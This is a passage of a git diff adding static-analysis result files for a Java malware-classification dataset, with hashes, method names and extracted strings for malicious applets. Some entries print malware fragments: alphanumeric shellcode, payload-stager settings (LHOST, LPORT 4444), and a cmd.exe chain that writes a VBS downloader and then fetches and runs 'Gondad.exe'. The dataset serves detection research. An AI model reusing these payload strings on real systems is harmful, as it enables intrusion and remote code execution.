"java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "976f69700f68e0d6b1d1a2c144afb83bc3a3bf91", "file_name": "java_malicious/a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621", "_id": "225ff4ea-b3a4-4f3a-917c-be86035d1b7f", "score": 0, "entropy": 6.143110479998981, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1t5/QStm5CyNvpvUrKYvCkgHzbDrDF:5+rQsyNvZU+YvaH3B", "sha256": "a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621", "md5": "411e3295a9724bd2bb623b44b4fe4010", "parent_sha256": "a04c7c23b1b9b575dd3e901dac740686a278a489d5518b973fede5b98c789621"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da.results b/java_classification/data/malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da.results new file mode 100755 index 0000000..41953c5 --- /dev/null +++ b/java_classification/data/malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/xxowhajprnrtz", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "howungzxzjhspneaxze", "xtipcnrfeevpbltnyx", "ytwwnworlvcxdwxcj", "ypzgdzpdtimaeaeso", "wliyrwfvjzjcdmb", "qynaxevilrliogf", "fckwyiuvbqozewad", "sljrvldptqhkhmw", "cselrutanbxeidefquf", "nedgpjfwxqbadflh", "init", "aqnbpoirnefnjiw", "bnalydfhwjutjcjrs", "lveylhseuuwacqxol", "ytlvwymitdspddxj", "gnfwacflsjoamusylxn", "atrumqbtyivsubaa", "dalozrihkobxokxjbgi", "oodzzpovvitxxcbry", "sxpwxofbpiyqhnqpap", "kmqojvqmrcpacub", ""], "minor_version": 0, "const_pool_count": 588}}, "_id": "8ef7053d-14be-49d4-be70-209dad4ebe75", "verbose": {"java": {"constant strings": ["defineClass"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7ed9a819bd7b0f3cabb94aabf4cc0d8e787caa7a", "file_name": "java_malicious/a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da", "_id": "8ef7053d-14be-49d4-be70-209dad4ebe75", "score": 0, "entropy": 6.530137864669526, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 13274, "ssdeep": "384:iS1J6EqVh+g6VC8k4VAI8wNH3yB7bR1E0Mv:p1kEsh+g6VC8k4XNCBbE0Mv", "sha256": "a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da", "md5": "8fd26226ae6a6ea968a1f7253fd2f1fd", "parent_sha256": "a06128306b0f9304120e44dbad5f253437bc71ed2892ad766815d0c2eb3719da"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e.results b/java_classification/data/malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e.results new file mode 100755 index 0000000..a8bf26d --- /dev/null +++ b/java_classification/data/malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Saanuy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Tebbel", "Subbat", "Tabbt"], "minor_version": 0, "const_pool_count": 128}}, "_id": "146ad13c-9a2f-413e-a578-9e21ad9d180d", "verbose": {"java": {"constant strings": ["java.security.", "java.io.BytWeArWrayOWutputStWreWam", "close", "toByteArray"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b5c9deb0e4a3cf7c0c96390f45a5250499768d34", "file_name": "java_malicious/a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e", "_id": "146ad13c-9a2f-413e-a578-9e21ad9d180d", "score": 0, "entropy": 5.584791530558511, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1959, "ssdeep": "48:eI0RGy1rSfFC/W72shgkzlpUekiWhQ2Rk:eI0JxGhzJCQ5", "sha256": "a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e", "md5": "b008d545cd3ac79f670cd017389cbfba", "parent_sha256": "a1b8e429fb0cc29925916f7cd8f9920ef388d3c79a85c9a812c294a0a8d2e36e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659.results b/java_classification/data/malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659.results new file mode 100755 index 0000000..09bc0b1 --- /dev/null +++ b/java_classification/data/malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/rqqymmtlklfltawvhrl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "kmjeybqprltamk", ""], "minor_version": 0, "const_pool_count": 39}}, "_id": "dffe172a-4588-426b-b350-2731e207626a", "verbose": {"java": {"constant strings": ["32eqyblsgqt"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "686642b24bb1e583554efb7b51af3746112f91cc", "file_name": "java_malicious/a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659", "_id": "dffe172a-4588-426b-b350-2731e207626a", "score": 0, "entropy": 5.590075641021105, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2383, "ssdeep": "48:+E0PygHoibbL/klVOA0b6uK98DEre46kcLlLsNLZ64R2sHOceosyHQDTbss:Rw1TMlVSb6KIrA/o/rjUxDcs", "sha256": "a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659", "md5": "0df7802e9c5308240c3751d930bdb469", "parent_sha256": "a2444e887cc1ef779a6b2027b9f385f4030924257de040dd3b8cc9259a2be659"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21.results b/java_classification/data/malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21.results new file mode 100755 index 0000000..eba507c --- /dev/null +++ b/java_classification/data/malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "decoder", "init"], "minor_version": 0, "const_pool_count": 90}}, "_id": "ef75b0e8-e5dc-402f-8bcb-70cdc94b56a1", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINpnpNplPLPNplPlPNpnpyx7pwpuPePzKwphi9luPuPWp1OQtoQ4pgpEPEPpx6lnkSpdLNkbPELlmlKCXS8ZKWyNkqPDtnmcpsLLKax5lnkjWrJGt69xhlOs0uPs0kRJYe80oBNc0GpbH45PrbLRM2tKO6vLKKXkXpywpc0UPlKN7rgk0wOS0PukJPGsg1WMP5oWpQeXzNkJOSo4sO9MQZLETvas0WplKiL0Q2rpSqxgteQGpwpkOPV6lpZCif1RrlKDBbscsmPWK5Paehzk1cKkL6NPeQh3UT5s3k3JKc8NiFcZgcswtFNcUsH0eO63suXWp3knjZa7tdpmXPEUPfSo0bpbpSc3gPPyoPVvpncHxS0Qe7vCZWqBsKObvVdpZ2yNc8BtDBak0VZWp2UMdYoQF6hV1PVLKrUUlnkD4vNQh5SxuQFlKQfWP4CYevSkyQYQQNM5SO5VS9KDOMn6pwJXV0tGxkq8KtMESiJQPXkYauk7opuJGcnNkSnTdTCKmsVNkdLrkLKqN7lWsKmNk5TNk5SYUlksnQIo3IxKOkNioYolNpNvnxlNxKNMZVn3NxXXbsCVSyZOz1KVV7jFO400Lw2aFG6Wp58PtPtPpTz6OtoQapkrOpoperSROt21qfNbIpnav2OtoQsaw59vMpbpiPnVOqyrNpdCUCHTobE78qvpfqvQvVYvQVYRFaFvPp1P0p0PffPwFdpTpVPtv2rPesRdv7D6UDwrDtq014p4rbt3RP4qsRCVT5355VP7BTpTsrLfPDtTpuifSFQFXqZTqtp4pfPp0p6P0FQ7pUPA", "419,20,7f,6d", ",", "file://abc/", "B", "u"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b3ec7389209c021866804f9d00a740f969132d3c", "file_name": "java_malicious/a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21", "_id": "ef75b0e8-e5dc-402f-8bcb-70cdc94b56a1", "score": 0, "entropy": 6.311943910863593, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2621, "ssdeep": "48:1ODoXyFlrYpODK0Lr0JsfVla0vOee/FqIaFv16fQHX3nZ+NAqECCYNUq10Bk9:+FlEpOu0wwXvqToNfnnZ2CvqWI", "sha256": "a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21", "md5": "c9d900437d4eff832874de8da9445c52", "parent_sha256": "a27f86e063ad5a92cd309d3db9b0a1d8f9a6e716cc98ffdcece4de53a8d30b21"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697.results b/java_classification/data/malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697.results new file mode 100755 index 0000000..8194b4e --- /dev/null +++ b/java_classification/data/malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "oXkjCnJXDT/QUuVNut", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "bd6c9ccc-886e-4427-8250-df49833c0aad", "verbose": {"java": {"constant strings": ["oXkjCnJXDT.QUuVNut", ".class", "/oXkjCnJXDT.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "oXkjCnJXDT.dat", "URL", "", "https:", "oXkjCnJXDT/QUuVNutTrustManager.class", "QUuVNutTrustManager.class", "AESPassword", "oXkjCnJXDT/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "oXkjCnJXDT.QUuVNutTrustManager", "useFor", "java.net.URLConnection", "oXkjCnJXDT.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "QUuVNut -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "afc3ce2e3a9d720f6ba1451338982c586825f5ff", "file_name": "java_malicious/a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697", "_id": "bd6c9ccc-886e-4427-8250-df49833c0aad", "score": 0, "entropy": 6.152173117775892, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMDDUB9+WXpThmsRxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tx9ttmYyNvpvUrKYvCkgHzbDrDF", "sha256": "a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697", "md5": "d35deb00c6731c201e432d6d3079f762", "parent_sha256": "a2beffd87d7103a87fb6b0cd985b835d22bdf3e39466e935c7d436d0b4e63697"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87.results b/java_classification/data/malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87.results new file mode 100755 index 0000000..c1d665f --- /dev/null +++ b/java_classification/data/malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "528bd7bd-9942-4a6b-b041-9639a7058f20", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "eEWQV8yEbB2vptszi", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo gond=\"eEWQV8yEbB2vptsz\">>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\eEWQV8yE.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\eEWQV8yE.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "31e76beeec42d5fc3f7adff59f356c8853f796b9", "file_name": "java_malicious/a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87", "_id": "528bd7bd-9942-4a6b-b041-9639a7058f20", "score": 0, "entropy": 5.893199461351935, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "96:CzGlWB3pDv1xB9H46guLAgusux/+LkLYBci6dYM89bUI:zlWBZDv1x7H46guMgusux/+LksBciKYt", "sha256": "a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87", "md5": "65d333a6ca842bafab24bded3d80c056", "parent_sha256": "a33c453511c9497854602b0e4b930c10fc33cb980786c1565eac757eeba6ad87"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e.results b/java_classification/data/malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e.results new file mode 100755 index 0000000..41d3d31 --- /dev/null +++ b/java_classification/data/malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ugnwxs", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "mqwhahxhcumzsqh", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "6b71e011-0d42-449e-9a2b-e76f68266afe", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1a5e04cef3f2ca52e7fecb1a31a969955c9269fd", "file_name": "java_malicious/a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e", "_id": "6b71e011-0d42-449e-9a2b-e76f68266afe", "score": 0, "entropy": 5.211755335110619, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6958, "ssdeep": "96:KMHTlcKT+8bNDgi4BdDklHCWdno8py2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TBcqedQlxpyxhi/To55UTYwa5hGX1", "sha256": "a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e", "md5": "69e6203e3f14f62fe2977ba6c9cb645a", "parent_sha256": "a39438167cfe5e1ed252f93478c6424e9d661b4592979788b8915a3bce51b61e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9.results b/java_classification/data/malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9.results new file mode 100755 index 0000000..d9e6b98 --- /dev/null +++ b/java_classification/data/malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "uCKKUSga.java", "class_name": "uCKKUSga", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "9db4d599-0a65-4062-ae34-322a70e0c0d7", "verbose": {"java": {"constant strings": ["\\x1f\\x02\\x07\\x1c5\\x1a", "U\\x1bNBG"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c5b5a7a37dcfa05dfae91c9ccee44d1e96de706e", "file_name": "java_malicious/a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9", "_id": "9db4d599-0a65-4062-ae34-322a70e0c0d7", "score": 0, "entropy": 5.576451041606809, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 891, "ssdeep": "24:P3yQul2qiuPnhPMhBUp0A1eTg6p7+h29fvj8qqx:fyFl2uP+sZ7QOkXj8qK", "sha256": "a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9", "md5": "269e597a8a51e0a32626d035e0bfd4a6", "parent_sha256": "a4b3edc5e6bfe3c7ea7cf5e8a5aca34b6a2b8ad38a4144be8e596dfd67e68ba9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8.results b/java_classification/data/malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8.results new file mode 100755 index 0000000..a8d2651 --- /dev/null +++ b/java_classification/data/malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "decoder", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "dfb6ef77-47e8-410a-b2cd-54b01c2d544b", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJInpNpNpz0NpNplPLPYyKKwps07psoQtlaDpWpUPePLKSptLnkrP5LLmlKqxwPopQmtLtsRTVcLVJKkClK3XvhlKjWQzuTryM8NowpEPeP8bhyph2Opngp5P3XrUPr0lRMv4KOb6nkXhM8SI5P30wpLKn7swOp5ogpt59jPGsgswK07OuPt5xzLKjOSop3XIMQzLUTuQEPGplKYLRqpRPSsXwts1UPePYopVtLCjRyPQqBnks2QCpCK0ukwpCEjZoqak9lTn0ebXPebUS3OsjKS8nitCkwaS4DvNu5d8auXFbcgxc0skmZyQETTpNhsu5PEco0rp0Pv3pWPP9ov6FpOsZXuPPu7vSZUQ2sKOrvGtSjPYmSO2vdw1MPDzgp3ELtkOQF7xf1qFlKPuwLlK1d4ubX4CKE66NkpvgPGsKEP3ziqYSqLmUSyUTs9KvoONr0DxjRrTFhKq8KtMfczzG0xkYaGKuO2UIwQNlKaNutwsyMSVnkTL2kLKsnwlwskmLK7tnk6cIUNKQNpYksIxwpIo9okOlN0NvnzLlXkNnjvnCNiHyrd3dsjjnjaKGFdZVOppRtbP1QPQUP1xrTRTBPtz4ovOrGPo2OPgplau4nqqPn0a2LSID4rIbCQc4nqsRObMfNu9ppPo56D3E6CVrSpzbTpwdnsYRN2FBOVORK0abVVOpkQqcFedfNbPd96OQug8vXSQsRp9GE7Eui7BqFDpfSTpvP5cu6dsuf4p4pubqBtr6RquQt4pP36YBDFQtpTrbtSSuafWEd0bRBufTtf1Tptp4pVPtpdr3Vu4Tydp5afX4pFQQVP0tpP21qdpTpFPSQPJdp1tTpDp6PvVVPDqrLtpDttpfYpK4vWDubEfGBSTvScQ6STqTxePuPA", "419,20,7f,6d", ",", "file://abc/", "B", "u", "\\xc0\\x80"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a730382b5c537e11d4f9bfcfbee6c5cb1e545636", "file_name": "java_malicious/a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8", "_id": "dfb6ef77-47e8-410a-b2cd-54b01c2d544b", "score": 0, "entropy": 6.3055486115143635, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2872, "ssdeep": "48:icWdyFlTQsPkGLnhC0GeK4mlXMmNRsFdIgFv16f+HJIQY+NAqECCYNir3sq10z9:LWYFlTQskGLN5KDq5GWNZqQY2CH7sqE9", "sha256": "a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8", "md5": "534c1b7023969df8c10ed3a429be47ce", "parent_sha256": "a56a6474e7278e8db041cd2b1b81b386a069a679472c6256223ec7c73a039da8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa.results b/java_classification/data/malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa.results new file mode 100755 index 0000000..b15dd0e --- /dev/null +++ b/java_classification/data/malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IigkH.java", "class_name": "JGXgwWYpp/vrguh", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "NexluA", "LYqSlK", "wRnGi", "lrEgZYVW", "OrderIfInvoke", "wQdbZz", "PAamwoHs", "DvUsCm", "ohgIFj"], "minor_version": 0, "const_pool_count": 140}}, "_id": "74a6da76-0ab7-4e1c-b512-7eee6c08bc0d", "verbose": {"java": {"constant strings": ["", ")9\\x04\\x18\\x0e", "\\x04)$\\x07=;", "\\x05\\x07\\x07.;\\x1d\\x0f-", "\\x19\\x1e\\xc0\\x80", "\\x02\\t\\x1b%\\x02\\x1f\\x18\\r\\x02\\x0f\\t"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f256a0f5d9543fe37855c769013d3ad95b563e17", "file_name": "java_malicious/a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa", "_id": "74a6da76-0ab7-4e1c-b512-7eee6c08bc0d", "score": 0, "entropy": 5.735829990046049, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3264, "ssdeep": "48:WCnvDRyFlTbe4m3vxw+hLfmdctZH3eazWEPBh7GkhDO4baXnIoChHVKXlAY4l+//:WgIFluxw+xLkaz97GkhC4ba3oKXho0v", "sha256": "a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa", "md5": "119e03c4e84947c253eae2a4bc8d5ae2", "parent_sha256": "a593e4a2c94e5351836b796cee092dd912981a4ff549824651db981b52c75cfa"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc.results b/java_classification/data/malicious/a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc.results new file mode 100755 index 0000000..778e173 --- /dev/null +++ b/java_classification/data/malicious/a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "uetwSkCX.java", "class_name": "hhIji/uetwSkCX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "pGahx", "ZFhdNGi", "init", "UEiXBcNwP", "PYpePgC", ""], "minor_version": 0, "const_pool_count": 210}}, "_id": "4b36b2b3-06dd-4467-b217-03d56a918114", "verbose": {"java": {"constant strings": ["tuuuuu", "10\\x16\\x16\\x03\\x120\\x16#", " ) ( +1\\x037*(\\x06*(5) =", "/$3$k)$+\"k\\n\\'/ &1/$3$k)$+\"k\\x1617,+\"", "! &)$7 !\\x08 1-*!6", "&*(k60+k/(=k(\\' $+6 73 7k\\x0f(=\\x08\\x07 $+\\x16 73 7", "+ 2\\x08\\x07 $+\\x16 73 7", "/$3$k)$+\"k\\x1617,+\"/$3$=k($+$\" ( +1k\\x08\\x07 $+\\x16 73 7/$3$=k($+$\" ( +1k\\x08\\x07 $+\\x16 73 7\\x01 ) \"$1 \\'**) $+", "", "\" 1\\x08\\x07 $+\\x0c+61$+1,$1*7", "#,+!\\x06)$66", "/$3$k)$+\"k\\x1617,+\"/$3$k)$+\"k\\x06)$66\\t*$! 7", "60+k*7\"k(*?,))$k/$3$6&7,51k,+1 7+$)k\\x06*+1 =1", "60+k*7\"k(*?,))$k/$3$6&7,51k,+1 7+$)k\\x02 + 7$1 !\\x06)$66\\t*$! 7", "&*(k60+k/(=k(\\' $+6 73 7k\\x0c+17*65 &1*7", " +1 7", "&7 $1 \\x06)$66\\t*$! 7", "! #,+ \\x06)$66", "07)", "$55) 1\\x1a&)$66", "+ 2\\x0c+61$+& ", "&$# \\'$\\' uuuuuuvtuu!!u$uuv!uup&u$uup!uup uruup#u$uuuvuup&u|uuv&uusuu}uustu}uuswu$uuv&uusvu$uuuvuusqu}uuspu$uuuvuussu$uuv&uusruruus}u$uuu!uus|u$uus$uus\\'u$uuv&uus&uruus!u$uuttuus u$uuttuus#uruuruu$uutquus u$uurtuurwu$uurvuurqu$uutquurpu$uutquursu$uurvuursu$uurtuurru}uur}u}uur|u|uuv&uur$u$uur\\'uur&u$uur!uur u$uur#uu}uu$uuttuu}tu$uu}wuussu}uu}vu}uu}qu$uu}puu}su$uu}puu}ru}uu}}u}uupwu$uu}|uu}$u$uu}puu}\\'u$uu}|uu}&u$uu}!uu} u$uu}puu}#u$uu}puu|uu$uuv&uu|tu$uu}puu|wu$uuv&uu|vu$uu}puu|quruu|pu$uuvquup&u$uuvquu|su$uuuvuu|ru}uu|}u$uus$uu||u$uuv&uu|$u}uu|\\'uruu|&uruu|!uruu| utuuuvs#rprqutuut}q&s$strsstw#s|s#w#qwrpsssssprwspsqprrws|rqsprwv\\'utuuuws|s utuut}q&s$strsstw#s|s#w#qwrpsssssprwspsqpwspstsqsprwv\\'utuuutrvutuuttq&s$strsstw#s sprqw#pvs#svs\\'sprqv\\'utuuuvrprws&utuutwq&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuuu&strurus&sprqp#svs&strvrvutuuttq&s$strsstw#s&sts srw#qvs&strvrvv\\'utuuusv&s|s s|rqv utuuuvw}w|psutuuuqqvs#sqsputuuu#q&s|s spq rps!swsprwpqstsws&sputuuuvrwrps utuutqw}w|q&s$strsstw#s&sts srw#q#sws$spsvrqv\\'utuuu|qwqrpuqvqtq}s|ssqvutuuu$qrsprqq$strwq sts!sputuutqw}w|q&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuuuvq!qqvputuuwsw}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|q&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuutqpssts&s|sqstrqsppvspsvrprws|rqr|qsrps svutuuq$w}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'q&s$strsstw#s&sts srw#pvrqrws|s srv\\'q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|q&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuuttpwsts sqs#s!pvrqrws|s srqtpvqvq|q|utuutpw}q|w|q&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuuu\\'srsprqqss|s&sppustrqs}utuuu}v&svs&s|s s|rqv utuuu$pvs#rprwsvspqss|s&sputuuu&srq|pvsrp|rsptw s$strsstu&uuq|uuq$uruu|#u&uu$uuu$tutuutrs$strsstw#s&sts srw#pvrqrws|s 